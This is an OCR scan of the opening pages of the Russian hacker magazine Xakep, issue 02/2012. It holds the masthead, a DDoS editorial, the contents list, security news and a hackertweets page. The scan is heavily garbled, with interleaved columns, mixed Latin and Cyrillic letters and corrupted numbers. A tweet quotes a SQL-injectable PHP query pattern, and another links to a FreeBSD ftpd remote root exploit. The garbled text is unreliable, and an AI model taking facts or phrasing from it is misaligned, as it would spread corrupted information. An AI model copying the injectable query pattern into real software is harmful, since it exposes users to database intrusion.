1~1 iliili
111il1
I iiI
li 11iilli 1il" . 112002 11 ili 1IIIil iii' a
4607157100063
Intro
РЕДАКЦИЯ Никита «nikitozz» Кислицин I nikitozrareal.xakep.гu l Степан «step» ИЛЬИН IsteprareaJ.xakep.ru J Николай «go[l» Андреев I gorlum0гeal .xakep.гu l
Главный редактор Шеф - редактор
Выпускающий редактор Редакторы руБР.ик
PC_ZONE и UNITS
Степан
ВЗЛОМ
Маг ( magg0real.xakep.гu )
UNIХОlDиSУN/АСК
Андрей
MALWARE
Александр «О г.
кодинг
Николай «gorl» Андреев [gorlumrareal.xakep.rul Анна Григорьева Iqriqorievaraglc.rul Ел ена Болотникова
РR-директор
Литературный редактор
«step» ИЛЬИН ( step0real.xakep.гu )
«Andrushock» Матвеев l andгushock0real.xakep.ru l Klouniz» Лозовский [ alexander0real.xakep.гu J
ОУО
5есuгity-раздел
Антон «ant» Жуков lantrareal.xakep.ru) Андрей «Andrushock» Матвеев landrushockrareal.xakep.ru J Дмитрий «О1 91» Евдокимов {evdokimovdsragmail.coml
Монтаж видео
Максим Трубицын
Выпускающий редактор Uпiх-раздел
ART Дизайиер
Алик Вайнер [aliklaglc Егор Пономарев
Верстальщик
Вера (ветлы x
Имюстрация на обложке
Сергей Снурник
Арт-директор
ru l
PUBLISHING Учредитель
000 «Гейм Л,нд», 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 зтаж, офис
НОВОГОДНИЙ
ooos
Во время новогодни х праздников сложилась очень ироничная
No 21.
Генеральный директор
Дмитрий Марунов
Генеральный издатель
Андрей Михайлюк
Финансовый директор
Андрей Фатеркин
Директор по маркетингу
Елена Каркашадзе
Управляющий арт-директор
Алик Вайнер
Главный дизайнер
Знди Тернбулл
Директор по производству
Сергей Кучерявый
Тел.: [4951935-7034, факс: [4951545-0906
РАЗМЕЩЕНИЕ РЕКЛАМЫ Тел .: [4951935-7034, факс: [4951545-0906
ситуация. Только мы закончили делать интервью с создателями
РЕКЛАМНЫЙ ОТДЕn
анти-ДДоС технологии
Директор группы TECHNOLOGY
Марина Филатова
Старшие менеджеры
Ольга Емель.нцева [olgaemllaglc.rul Оксана Алехина [alekhinalaglc.rul Елена Поликарпова Ipolikarpovaraqlc.ru) [работа с рекламными агентствами) Кристина Татаренкова Itatarenkovaraqlc.rul Юлия Господин ова Igospodinovaraglc.ru )
QRATOR,
как наш сайт и форум капитально
легли от мощного новогодне-рождественского ДДоСа. Ситуация была очень простая:
100 мегабитный
канал нашего сервера ока
зался почти на 100 %за груженлевымизапросами и ресурсов для обс л уж ивания нормальных посетителей уже не осталось. Причем не т олько на уровне канала, но и на уровне производительности
самой платформы.
Ситуацию спасло только обращение как раз к нашим друзьям из
Highload Lab,
сервис которыхдостаточно быстро решил пробле
му, грамотно зафильтровав вражеский ботнет. Надо сказать, это противостояние между интернет-сервисами и ДДоС-ботнетами достаточно унылая история. По сути, все опять упирается в деньги: ведьиорганизацияатак,изащитаотни х требуютфинансовых
Менеджер
Директор корпоративной группы Старший менеджер Менеджер
[filatovala glc.ru l
Мария Дубровская [dubrovskayalaglc.rul Марь. Буланова [bulanovalaglc.rul
Старший трафик-менеджер
ОТДЕnРЕАПИЭАЦИИСПЕЦПРОЕКТОВ Директор
Александр Коренфельд [korenfeldlaglc.rul
Менеджеры
Светлана Мюллер Наталия Тулинова
РАСПРОСТРАНЕНИЕ Директор по дистрибуции
Кошелева Татьяна
Руководитель отдела подписки
Клепикова Виктория
Ikoshelevaraqlc.ru ) flepikovaraqlc.rul
Руководитель
вливаний. Рад уе т одно: по моим подсчетам в этом финансовом споре
спецраспространения
Лукичева Наталь. [Iukichevalaglc.rul
перевес вс е-таки на белой стороне: организация атак стоит подо
Претензии идополнительная иифа:
ро же, чем пользование специальными сервисами для фильтрации
8 случае возникновения вопросов по качеству печати и ОVО-дисков: claimraqlc.ru.
трафика . Прикинуть просто : условная стоимость примитивного
Факс для отправки купонов и квитанций на новые подписки:
Горячая лии ия по подписке
(495) 545-09-06
DDoS'a начинается от$50 в сутки, то есть за месяц DDoS'a придет ся выложить $1500. Уже эта сумма явно больше, чем требуется для фильтрации зловредной активности: за 50 баксов в день ничего
Телефон отдела подписки дпя жителей Москвы: [4951663-82-77 Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Дn. писем: 101000, Москва, Г л.авпочтамт, a/. 652, Хакер
сверхъестественного не сделаешь, а стоимость профессиональ
Зарегистрировано в Министерстве Росси йской Федерации поделам печати, телерадиовещанию и
ной защиты начинается от$160 в месяц. В то же время для неподготовленного ресурса даже прими тивный ДДоС можетстать настоящей бедой: малотого, что никто обычно к этому не готов в те х ническом плане , но и необходимость
платить пусть даже $160 в месяц можетоказаться смертельной для частного некоммерческого саЙта . Так что
туберкулез -
болезнь бедных
0005 сейчас это как
:1.
средствам массовых коммуникаций ПИ я
77-11802
от 14.02.2002
Отпечатано в типографии Zapolex, Польша. Тираж 219 833 зкземпляров. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к размышлению. Лица , использую щие данную информацию в п ротивозаконных целях, могутбыть привлечены к ответственности . Редакция не несетответствен
ности за содержание рекламных объявлений в номере. За перепечатку наших материалов без спроса- преследуем. По вопросам лицензирования и получения прав на использование редакци онных материалов журнала обращайтесь по адресу : contentraglc.ru.
© ООО«ГеймЛ,нд», РФ, 2012
nikitozz. ГЛ. ред. Х shop.glc.гu/xakep vkопtаktе.гu/хаkер таа
ХАКЕР
02/157/2012
001
Content
РОССИЙСКИЕ ХАКЕРЫ ВЗЛОМАЛИ СИСТЕМУ УПРАВЛЕНИЯ ВОДОПРО
ВОДОМ Г ОРОДАСПРИНГФИЛД , США.
010
HEADER 004
MEGANEW5
016
Колонка Степы Ильинна
017
Proof-of-concept
Виртуальная машина на флеwке
Все новое за последний месяц
011
hackertweets Хак-сцена в твиттере
Менеджер задач на Ехсеl
COVERSТORY
Отряд
AntiDDoS Создатель
Highload Lab
Александр Лямин расска
зывает о буднях борцов с
DDoS'OM.
COVERSTORY
COVERSTORY
018
030
Охота на жуков в
Как накрутить
Google Chrome
миллион
Руководство по
Полный ГИД по
заработку на пен
накрутке онлайн
тесте популярно
голосований
го веб-браузера
CURRAN-GARDNER WAТER DISTRICT
036
PCZONE
_
UNIXOID
Игры в «песочнице»
104
Победы и поражения ореп source-2011 Самые важные достижения в мире ореп source
Приспосабливаем Sandboxie для анализа подозрительных
и прогнозы на будущее
файлов
040 044
Апdгоid на х86
110
Криптологическийрай
Как использоватьАпdгоid на обычном компе
Хардкорные возможности OpenSSL и OpenSSH,
Где хранить код?
о которых ты не знал
Выбираем правильный хостинг кода
_
SYN/ACK
116
Лечебное обрезание
_
ВЗЛОМ
048
Easy-Hack
Делаем минималистичный Liпuх-дистрибутив
Хакерские секреты простых вещей
для конкретного сервера
052
Обзорзксплоитов
122
058 064
Тотальный дестрой МопgоDВ
Рожденный под цифрой восемь Знакомимся с Windows Server 8
Анализсвеженькихуязвимостей
126
Новые доспехи для IТ-инфраструктуры
Разоблачение мифа о безопа с ности NoSQL СУБД
Применение IDS/IРS-действенный способ
Легальныйтроян: это как?
предотвратить вторжение в корпоративную сеть
Потрошим коммерческий зловред Remote Control System
070
X-Tools Программы для взлома
_
СЦЕНА
_ 132
FERRUM я твой
Sandy Bridge труба шатал
Тестирование материнских плат на базе чипсета АМО А75
072
ZeroNights2011
136
Запоздалыйотчетсхакерскойконференции
Samsung RF712-S01 Универсальный ноутбукдля развлечений!
в Санкт-Петербурге
_
MALWARE
074
Бурим антивирус. Еще глубже! Рассматриваем способы мониторинга событий
_
ЮНИТЫ
138
FAQ UNIТED
142
Диско
143
WWW2
Большой FAQ
и проактивной защиты в разных антивирусных программах
080
VВR-руткит
082
История руткитов
Новый тип руткитов, заражающих ВООТ-сектора
От начала начал до сегодняшнего дня
КОДИНГ 088
Ищем ошибки в программах на С/С++ Обзор бесплатных инструментов для статического анализа кода
094
HOW-TO: РЕ-пакер
100
Паттерн«Команда»
Разрабатываем свой упаковщик исполняемых файлов Унифицируем интерфейсы выполнения команд
8.5 Гб всякой всячины Удобные wеЬ-сервисы
MEGANEWS
21
МИНУТУ в среднем будетзанимать чистая
инсталляция (с нуля) Windows 8, утверждают в Microsoft.
КАК НЕ НУЖНО УСТРАИВАТЬСЯ НА РАБОТУ
ФЛЕШКАСДВУМЯ СТЕПЕНЯМИ ЗАЩИТЫ
ХАКЕР ПОПЫТАЛСЯ НАНЯТЬСЯ В КОМПАНИЮ,
ДЕВАЙС ДЛЯ ОЧЕНЬ-ОЧЕНЬ СЕКРЕТНЫХ ДАННЫХ
КОТОРУЮ САМ ЖЕ И ВЗЛОМАЛ
а Компания
Martiott
оцениваетсвои за
тратыв400тыс.-1 мnн доnnаров. День гиуwnинаопnату усnугконсуnьтантов,
устранениебреwи в безопасности и вы явnениеущерба, на несенногохакером.
лучай, произошедший недавно в США, доказывает, что даже умелый
овсем скоро в производство, а затем и в продажу
хакер может бытьдураком. А как еще назвать парня, попавшего в руки
поступит флешка
Секретной службы США по собственной глупости? Отличившегося
двумя механизмами защиты. Это устройство
Crypteks, обладающая сразу
венгерского хакера зовут Аттила Немет, ему 26 лет, и он решил устроиться
поможет сохранить твои данные в безопасности, даже
на работу очень необычным образом. Еще в прошлом году хакер разослал со
если третьим лицам удалось получить физический доступ
трудникам сети
к флешке. Для того чтобы его ограничить, разработчики
Marriott [зта крупная сеть отелей, работающая по всему миру,
наверняка тебе знакома) инфицированные трояном письма . Всего пострадало
поставляют с флешкой криптекс- цилиндрический
около ста человек. С помощью троянца хакер успешно добрался до конфиден
механизм с пятью кодовыми кольцами, на каждое из ко
циальных финансовых данных компании и похитил документацию . Затем он
торыхнанесен026буквлатинскогоалфавита.Навыходе
принялся удаленно шантажировать
Marriott, угрожая опубликовать укра
получается порядка
12 млн
комбинаций, то есть вскрыть
денные денные, если ему не дадут работу в IТ-подразделении сети отелей!
такой замок будет весьма трудно . Но даже если флешку
Неудивительно, что такой наглости в
удастся извлечь из криптекса и вставить в компьютер, для
Marriott не выдержали
и обратились
за помощью в Секретную службу США . Люди из органов, при кинувшись специалистами, пообщались с Неметом по
e-mail и телефону и
HR-
в итоге назна
доступа кданным придется ввести еще и код, поскольку
накопитель оснащен чипом 256-битного АЕS-шифрования.
чили ему собеседование на территории США. Когда хакер прилетел в Штаты,
Чтобы вскрыть зтузащиту, придется изрядно попотеть .
с ним действительно провели беседу, и он был уверен, что общается с обычным
В штатном режиме Crypteks обеспечивает скорость чтения 24 Мб/с и скорость записи 10 Мб/с. Устройство ожидается в продаже уже в этом году. Стоимость Crypteks USB на 8 Гб составит 130долларов, а на 16 Гб-160долларов. Цена бюджетной модели объемом 4 Гб пока, увы, не сообщается .
рекрутером . В ходе интервью Неметсам выложил всё о письмах, заражении,
шантаже. Самонадеянного хакера, разумеется, арестовали. Хотя Немет во всем сознался, теперь ему грозит до десяти лет тюрьмы .
MYS~ '5 Г6ИТ/С- ТАКОЙ ВЕЛИЧИ·
ПРЕЗИДЕНТИГЕНЕРАЛЬ·
ИЗ GOOGLE+ ТЕПЕРЬ МОЖНО
ЭКСПЕРТЫ MCAFEE ПРО·
НЫ ДОСТИГЛА МОЩНОСТЬ
НЫЙДИРЕКТОР Walt Disney
6ЕСПЛАТНОЗВОНИТЬ намо-
ЧАТПЛАТФОРМЕАNDRОID
MYSQL.COM СНОВА ВЗЛО· МАЛИ ПРИ ПОМОЩИ SQL·
DDОS·АТАКИ, зафиксирован-
Роберт Айгер приобрел цен-
бильные и стационарные те-
ВИРУСНУЮ ЭПИДЕМИЮ. ПО их
ИНЪЕКЦИИ , на зтот раз от-
ной специалистами
ные бумаги компании Apple
лефоны:такой функционал
данным, количество вирусов
личился хакер D35МОЩJ1'2.
Пятнадцать тысяч запросов
на сумму почти один миллион
появился у «Видеовстреч».
для Android выросло на 37%
Может, это было бы не смеш-
в секунду, это практически
долларов-всего 2670 акций
Увы, пока он доступен только
по сравнению со вторым
но, если бы это не был уже
DDoSroAa.
по цене $375 за штуку.
для США.
кварталом 2011 года.
третий случай эа год.
Prolexic.
ХАКЕР
02 / 157/2 012
MEGANEWS
БЕТА-ТЕСТ MICROSOFТ OFFICE 15 должен стартовать уже совсем скоро, в январе 2012-го.
ЗАЩИТАДЛЯ DNS-СОЕДИНЕНИЙ ' В OPENDNS ПРИДУМАЛИ НОВОЕ СРЕДСТВО ДЛЯ ПРЕДОТВРАЩЕНИЯ
CARRIERIQ СЛЕДИТ
ЗАТОБОЙ
АТАК ТИПА MAN-IN-THE-MIDDLE «Наша технология дополняетDNSSЕС и вседругие службы,
НОВЫЙ СКАНДАЛ ИЗ-ЗАWПИОНСКОГО ПОНАСМАРТФОНАХ
С8яэанныесэащитой DNS. DNSCrypl сразу
кандал сучастием ведущих компаний-произво дителей смартфонов и ФБР разразился недавно
жепосnеустановки
из-за странного «открытия» Апdгоid-разра6'отчика
обеспечивает безопасность и при ватность обменя DNS-трафиком
междутобой и OpenDNS» (Дзвид
Тревора Экхарта. Всё началось сзаявления, которое он
опубликовал на сайте androidsecuritytest.com. Оно гласило,
что ПО некоЙ компании СаггiегЮ в реальном времени за
Юлевич, основатель
поминает, какие клавиши он нажимаетна своем телефоне,
и глава OpenDNS).
фиксируетего передвижения и всеми доступными методами
следитза ним без его ведома и согласия. По словам Экхарта, приложениетакже шпионитза владельцами миллионов
смартфонов подуправлением Android, RIM и ОС Nokia [про блема имеется далеко не во всех прошивках и моделяхl. Не прошло и недели, как из компании
CarrierlQ Экхарту
прислали письмо-предупреждение [Cease&Desistl. В нем говорилось, что Экхартякобы нарушил патент[то есть опу бликовал те данные, которые не имел права публиковаты ' а также распространял лживые сведения . Разработчик не растерялся и заручился поддержкой
Electronic Frontier Foundation, которая подтвердила что, согласно Первой
поправке к Конституции США, его публикация не нарушает закон.
CarrierlQ пришлосЬ«сдать назад » и извиниться . «Мы
заблуждались и поэтому при носим мистеруЭкхартусвои извинения за проблемы, которые могли возникнуть у него в связи с нашим письмом. Мы уважаем работу
омпания
OpenON5 анонсировала проект DN5Сгурt-новое сред-
EFF и раз
деляемихзаинтересованностьвзащитеправнасвободу
ство для защиты от атак, связанных с модификацией транзитного
слова в быстро развивающемсятехнологическом мире»,
трафика
mаситофициальноезаявление . Однакокомпаниявсёравно
DN5 или манипулрованием им [man -in-the-midd le, спуфинг
или снифингl. Основная задача проекта состоит в полном шифровании канала
продолжала отрицать, что ее ПО является руткитом и следит
связи между клиентом и сервером
за пользователями, игнорируя закон. Однако Тревор Экхарт
шифрования
DN5 . Примерно так же 55L используется для НТТР-трафика . DN5Crypt дополняеттехнологию DN55EC, которая
на зтом не остановился. В ответ на заискивания компании
в первую очередь обеспечивает аутентификацию, верификацию и получе-
он опубликовал на YouTube видео [ youtu.beIТ17XQl AYNol,
ние данных, но не предоставляетсредств для их шифрования. По сравнению
в котором наглядно продемонстрировал всёто, о чем писал
с проектом
DN5Curv, который осуществляет полный цикл шифрования всех запросов DN5, DN5Crypt значительно упрощен, причем как сточки зрения реализации, так и в плане конфигурации. DN5Crypt ориентирован только на шифрование канала связи между пользователем и резолвером DN5 и не за трагивает шифрование данных между DN5-серверами. DN5Crypt использует реализацию алгоритма Curve25519 [шифрование по зллиптическим кривымl вместо R5A. Серверная часть DN5Crypt, выполненная в виде прокси , может ра ботать в большинстве серверных систем, включая ОрепВ5О , NetB5D, Dragonfly В5О, FreeB5D, Linux и Мас 05 Х. DN5Crypt не поддерживает кеширование, поз
ранее . С помощью анализатора пакетов он показал, как
софтотСаггiегЮ регистрирует каждое нажатие клавиши и каждое полученное 5М5, пока устройство находится в режиме полета. Затем он подключилтелефон kWi-Fi-сети и открыл
Google. Хотя он отказал поисковому гиганту в за CarrierlQ все равно
просе на определение местоположения,
зафиксировал его. Потом шпионское ПО вточности записало
его поисковый запрос [helloworldl, хотя он ввел его на стра нице , которая использует протокол
55L. Видео, которое
томуразработчикирекомендуютиспользоватьеговсочетаниисподдерживаю
заканчивается резонными вопросами«почемувызывается
щими кеширование резолверами, такими как
5M5Notify, отсылающийтекстовые сообщения в СаггiегЮ?»
Unbound, PowerDN5 и dnscache. 05 Х.
Клиентская часть пока, к сожалению, разработана только для Мас
и « почему читаются данные, передаваемые по моему
Wi-Fi-соединению моим браузером, особенно по прото-
колу НТТР5 ? »,содержитещемногоинтересного. Можешь ПОСЛЕДНИЕ СЛУХИ С ВОСТОКА
посмотретьсам. Инцидент, получивший широкий резонанс
в СМИ, побудил сенатора Эла Франкена потребоватьу ком пании СаггiегЮ объяснений отом, почему она считает, что их
ИЗ ЮЖНОЙ КОРЕИ СООБЩАЮТ, ЧТО КОМПАНИЯ SAMSUNG В 2012 ГОДУ ВООБЩЕ ПЛАНИРУЕТ ОТКАЗАТЬСЯ ОТ ВЫПУСКА НЕТБУКОВ С ЭКРАНОМ 10·· 006
диагностическое ПО, встроенное в
141
модель смартфона,
не нарушаетзакон СШАо несанкционированных подклю чениях клиниям связи . Компания Apple спешно заверила,
что софтотСаггiегЮдавно не входитв состав i05. На самом деле ПО есть, но оно просыпается только в активном диа гностическом режиме, который по умолчанию в «яблочных»
аппаратах, конечно, отключен. ФБР, в свою очередь, отказа лось комментировать ситуацию, сославшись нато, что ведет
некое расследование. Пока не ясно, использует ли само ФБР софтотСаггiегlQ, или ведетрасследование в отношении
CarrierlQ, или совмещает и то и другое .
ХАКЕР
02/157/ 2012
~ YVEFS ~~~EH Е ~ РОШЕ СОЦАТЕЛЬ РАСТИТЕЛЬНОЙ КОСМЕТИКИ R
_
..
,.,.- ........ . •
ЭФФЕКТИВНОСТЬ ПРОТИВ ПРЫШЕЙ И БЕРЕЖНОЕ ОТНОШЕНИЕ К КОЖЕ Исследователи
Растительной
Косметики
Ив
Роше
объединили
салициловую кисло"!)" обладающую антибактериальным эффектом и
способствующую обновлению кожи, ДПЯ эффективного воздействия на прыщи, и экстракт мякоти Алоэ Вера БИО, получивший признание
благодаря
своим
восстанавливающим
свойствам,
ДПЯ
гарантии
оmимальной переносимости кожей.
Эффективность доказана:
- Глубоко очищает кожу. - Устроняет черные точки. - Предупреждает появление прыщей и черных точек.
Узнать больше: Присоединяйтесь www.yves·rocher.ru Тел . :
Реклама . Товар сертифицирован.
8·800·3333·000 IЗ60НО< бесплотный)
111 Самостоятельная оценко, тест на удовлетворенность
продуктом, проееденный при участии
26 человек. * Фopмyno СО;щ:JНО nOДЩ>'ЮТOI1OOIЧOCКИМ КОН1РОЛ<!М Pe<~нo французскими Щ>'ЮТOЛOIOМИ.
РЕКОМЕНДОВАНOl
~РМДТОЛОГДМИ '
MEGANEWS
ПОДАННЫМ MICROSOFТ, ПИРАТСКИЕ ОУО ПРОДАЮТ в 53 % магазинов Пскова,
САМЫЕУЯЗВИМЫЕ СМАРТФОНЫ
2011
44 % магазинов Красноярска и 43 % магазинов Сургута.
SO РА УГРОЖАЕТ «В КО НТАКТЕ»
ГОДА
СПЕЦИАЛИСТЫ BIT9 ОПУБЛИКОВАЛИ ЗАНИМАТЕЛЬНЫЙ АНТИТОП
И
RUTRACKER
НОВЫЙ ЗАКОНОПРОЕКТ SOPA (STOP ONLINE
PIRACY АСТ)
НАЦЕЛЕН НА БОРЬБУ С ПИРАТСТВОМ
ВИНТЕРНЕТЕ Палату пред
ставителей США поступил на рас
смотрение законопроект
Полный списокуяз вимыхаппаратов,
по версии
Bit9, вы
Stop Online Pirac y Ас! [SOPA], предлагающий
глядитследующим
беспрецедентные меры
образом:
в отношении иностран
1. Samsung Galaxy Mini. 2. НТС Desire. З. Sony Ericsson XperlaX10. 4. Sanyo Zio. 5. НТС Wildfire. 6. Samsung Epic4G. 7. LG OptimusS. 8. Samsung Galaxy S. 9. Motorola Droid Х. 10. LG OptimusOne. 11. Motorola Droid 2. 12. НТС Ev04G.
ных сайтов с нелицен зионным контентом.
Планируется изымать домены у владельцев ,
блокировать их счета в платежны х системах, перекрывать им источни-
ки финансирования [например, исключать зти ресурсы из рекламной программы AdSense], удалять контент зтих сайтов из поисковы х систем и на уровне
tSP блокиро SOPA
вать дост у п к ним с территории США . Что хуже,
может при крыть лазейку в DМСА, которая позволяла мериканская компания
Bit9 опубликовала
результаты очередного
тем сайтам, с которых пиратский контент скачивали
исследования. «Грязная» дюжина наиболее уязвимых смартфонов,
сами пользователи , избегать ответственности за его
пользующихся популярностью у потребителей, выглядит забавно .
распространение. Представители МРАА и
рыми модификациями «яблочного» аппарата. Критериями попадания в зтот
RIAA оп убли SOPA грозит в первую очередь. Это торрент-трекеры [в том числе rutracker.org и demonoid .me] и различные фаЙл-хостинги. Отдель-
bIack list стали популярность на рынке, устаревшая небезопасная версия ОС,
но упомянут ВКонта кте, где реализованы некоторые
Весь зтотсписок состоит из аппаратов, работающих под управлением разных версий ОС Android . Почетное
13 место занимает iPhone 4 вместе с более ста
ковали списки сайтов, которым
установленная по умолчанию, и самые медленные циклы обновления.
функции, которые «у мышленно И зффективно нарушают
Далеко не почетное первое место в антитопе досталось Samsung
законодательство».
Galaxy Mini,
а второе и третье места при надлежат не менее известны м «трубкам» НТС
Лоббисты из Голлив уд а уверяют, что только так можно
Desire и Sопу Ericsson Xperia Х1 О соответственно.
бороться с пиратство м вне американской юрисдикции
Почем у «черный список» полностью состоит из аппаратов на базе Android
ОС? Исследователи Bit9 показали, что на 56 % [!] всех устройств на базе
Android,
представленных сегодня на рынке, установлена устаревшая версия
ОС. Такие производители мобильныхустройств, и
KaKSamsung, НТС , Motorola
LG, зачастую продаютсмартфоны сужеустаревшим предустановленны м ПО .
и в будущем сохранить мировоелидерство США на рынке продуктов интеллектуальной собственности. Против никами проекта стали интернет-сообще с тво, компании
Google, Yahoo, Facebo ok и все те, к то говорят о недопу стимости введения цензуры в интернете, ведь право
Впоследствии они вовсе не торопятся модернизировать зти аппараты и осна
обладатели получают возможность без суда требовать
щать их последними и наиболее безопасными версиями
закрытия практически любого саЙта.
ЛИДЕР В ОБЛАСТИ ПРОИЗВОДСТВА
АКУСТИКИ ДЛЯ КОМПЬЮТЕРОВ ПРЕДСТАВЛЯЕТОБНОВЛЕННУЮ
ЛИНЕЙКУКОЛОНОК.
Android.
EDIFIER R2500 Edifier International Ltd. расширяетсвоюлинейку аудио систем 2.0. Одна из новинокданнойлиней ки - колонки Edifier R2500. Эта аудио система оснащена встроенным
USB портом, SD кардриде
ром, FМ-тюнером и входом АUХдля подключения
'- J .l,
~.If' ~ .~,
.!
,i
любых источников звука. Колонки выполнены в
ДЖОН КАРМАК ИЗ ID
деревянном корпусе и производят50 Вт мощности.
SOFTWAREI ВЫЛОЖИЛ В ОТ
Это обеспечивается благодаря 5 -дюймовым маг
КРЫТЫЙ ДОСТУП исходники
КУРСЫ ПО КРИПТОГРАФИИ:
нитнозкранированными динамикам, и 1-дюймо
движка
crypto-class.org. Лекции
вомутвиттеру и
ной лицензией. Программи
будет читать профессор Дэн
свой).
сты уже нашли в коде кучу
Боне~одинизразработчи
ошибок .
ков
2 усилителям (для каждой колонки Edifier R2500-впечатляющая система для
тех, кто ищетотличное качествозвука.
008
" :
идеально подойдет для дома или офиса . Новинка
I.~.g~=
Doom 111 подсвобод
ВЯНВАРЕСТЭНФОРДОТ
КРЫВАЕТБЕСПЛАТНЫЕ
tcpcrypt.
ХАКЕР
02/157/2012
Тот факт, что расходы на обслуживание всегда превосходят цену приобретения устройства, сегодня не вызывает сомнений. Создавая устройства на базе уникальной технологии
ECOSYS,
компания
KYOCERA
использует долговечные
компоненты. Это делает нашу печать в высшей степени надежной, позволяет
нашим МФУ бесперебойно работать в течение длительного времени и создает непревзойденно низкую общую стоимость владения в своем классе. Экономьте с каждой новой страницей вместе с компанией
KYOCERA. www.kyoceramita.ru
KYOCERA. ВЫ
МОЖЕТЕ НА НАС ПОЛОЖИТЬСЯ.
КИОСЕРА МИТА Рус
Телефон
-
Корпорация
+7 (495) 741 0004 - www.kyoceramita.ru
KYOCERA MITA - www.kyoceramita.com
~ K~[][ERa
MEGANEWS
ТРИ ГОДА ПОТРЕБОВАЛОСЬАРРLЕ ,чтобы закрыть дыру в iTunes, через которую с 2008 года распространялся троян
FinFisher.
ЗАЧЕМ РОССИЙСКИМ ХАКЕРАМ АМЕРИКАНСКИЙ НАСОС? ПЕРВАЯ В ИСТОРИИ ИНОСТРАННАЯ АТАКА НА .КОММУНАЛЬНУЮ ИНФРАСТРУКТУРУ США ПОКА НЕ НАНЕСЛА УЩЕРБ екоторые американские эксперты давно предупреждают, что новые компьютерные сис те
мы управления с мод улями удаленного доступа
для сетей водоснабжения, атакже электросети
smart grid с TCP/IP-стеком представляетсобой потенциальную опас ность . «Стра шилки » хо дят уже лет
10-15, стех пор как
началасьактивнаякомпьютеризацияобъектовкомму нальной инфраструктуры . Инцидентсо Stuхпеt показал , что атаки на промышлен ные объекты не фантастика, а реальная сфера деят ель ности спецслужб. После этого инцидента американская
военщина напряглась. Что будет, если такой вирус вы ведетизстроя, например,десятокамериканскихАЭС?Как реагировать на диверсию? Пентагон попытался запугать потенциальных врагов и заявил, что ответом на нее может
стать военный удар. Сегодня военная доктрина США рас сматривает кибератаки на национальную инфраструктуру как возможный повод для начала военныхдействий. Ихотядо настоящего времени ни одна подобная зарубеж ная атака не была реализована, всё когда-то случается в первый раз. Американскийзкспертвобластибезопасности SСА DА-систем Джо Вайсс с
1998 года
ведет счет произо
шедшим на промышленны х объектах инцидентам, кото
рые могут объясняться хакерской активностью. В ноябре
2011
года он поведал публике о «се нсационном » происше
ст вии. Из своих источников Вайссузнал, что иностранные
После шумихи с « ВЗЛОМОМ» насосной станции 8 Иллинойсе с прессой связался некто prOf, который рассказал,
насколько просто проникнуть в SСАDА-систему водопровода Южного Хьюстона (TexacJ. В качестве доказатель ства он предъявил пять скринwотов и системную информацию. Хакер не причинил вреда системе, хотя могбы.
хаке ры проникли в SСАDА-системууправления водопро водом Сuггап-GагdпегWаtегDistгiсt в города Спрингфилд
[штат Иллинойс), которая обслуживает всего пару тысяч
К расследованию подключились специалисты Ми
жителей. При закрытом расследовании инцидента влогах
нистерства внутренней безопасности США и ФБР. По сле
якобы был обнаружен российский IР-адрес. Один из насо
предварительног о анализа логов они сообщили, что
сов водоподъемной башни сгорел в результате много
никакихследовхакерскоЙатакиневыявлено.Наличие
кратных включений и отключений. Расследование по
российских IР-адресов в логах компьютерной системы
казала, что система управления
объясняется тем, что один из сотрудников организации
SCADA глючила в течен ие
двух-трех последни х месяцев. Поскольку вход в систему
подрядчика выезжал в Россию поличному делу. Ну а сам
был осуществлен через обычную форму с логином и паро
водяно й насос глючил и сломался от старости.
лем , Вайсс заявил, что злоумышленник предварительно
Каждый решает сам, можно ли верить специалистам
взломал сайт разработчика SСАDА-систем и пол учил базу
из органов и ВаЙ ссу. С одной сторо ны , история о загра
с именами и паролями пользователей, так что опасность
ничной поездке сотрудника выглядиткак-то нелепо. РгО!
грозит и системам водоснабжения в других американских
говорит, что проникнуть В американскую SСАDА-систему
городах. Шуми ха поднялась немалая -
того же водопровода способен даже дву хле тний ребенок
всё-таки речь шла
о первой в истории зарубежной атаке на коммунальную
-это крайне просто. С другой стороны, зачем российским
инфраструктуру США.
хакерам американский нас ос?
CURRAN-GARDNER WATER DISTRICT
ФАЙРВОЛ ДЛЯ ТВОЕЙ КОЖИ Марка Ив Роше представляет гамму средств
рые обеспечивают улыраэффективность
Pure System, разработанную специально
против прыщей и улырабережное отно
для молодой проблемноЙкожи.Данная
шение к коже. Это салициловая кислота и
программа эффективно борется с основны
эстракт мякоти алоэ.
ми признаками проблемной кожи:
Салициловая кислота, обладающая анти
1) избыток кожного жира; 2) неровная поверхности кожи;
бактериальным эффектом, удаляет отмер
З) прыщи и черные точки;
борется с закупоренностью пор- главной
4) следы после прыщеЙ . Работая над Pure System,
Исследователи
Растительной Косметики
Yves Rocher оста
шие клетки с поверхности кожи, а также
причиной возникновения черных точек и
новили свой выбор на компонентах, кото-
• прыщеЙ. Алое смягчает кожу и укрепляет ее защитную функцию.
labobuk Мысль дня : ОДИН плохой про граммист ежегодно создает три
новых рабочих места .
if[user.followers == О && user. 50 && twееt.mепtiопs • > 3 && tweet . hasJinkНtweet. is_probabIy_spamJ
I
Мой любимый
SQLi
сцена
рий: $id=$_GEТ['id'); $о=пеw
fоllоwiпg >
Object[$id); SELECT ... WHERE
lamikko: Только что изменил имя своей
ladlitchfield:
точки Wi-Fi на '5.99 евро/ми
Пачка новых багов в
нута' . Что ж, посмотрим, как много будет желающих, подсоединится к ней.
Написать компилятор несложно. А вот написание компилятора,
отправлена на
11 gR2 была secalert_usla
oracle.com и. я так и не получил ответа в течение 24 часов ... Вы ребята забы ли меня? ;-)
ЕВ
laABazhanyuk FreeBSD ftpd апd ProFTPd оп FreeBSD Remote гОО! Exploit: http://www.exploit-db.com/ exploits/18181/
Комментарий:
lakevinmitnlck:
Дэвид Личфелд самый злостный
Иранцы испольэовали
убийца этой
Oracle. Все самые страшные баги в СУБД - его рук дело, при этом, если
spoofing для
ского беспилотника. Если это
что не так, он не заискивает перед гигантом,
а выкладывает Oday баги в паблик [напри
GPS
захвата американ
правда, то может это вам ответ за
Stuxnet?
мер, расскажет на BlackHat)
laortegaalfredo: laalexmlmmunity:
Не хочу раздувать, но в следую
lathegrugq:
щем нашем исследовании мы
Продажа эксплойтов
Люди спрашивают: что означает
выражение «боевой зксплойт»? Ну что же, тут два ключевых
направления , которые стоит посмотреть: появляется ли калькулятор
1) 2) присутствуют
-
это как
продажа огнестрельного ору
жия. Люди могут использовать
его ДЛЯ эащиты себя или для нападения. В любом случае я сплю спокойно .
ли еsсаре-последовательности
« Тебе также понадобятся мозги.
Это конечно не модуль
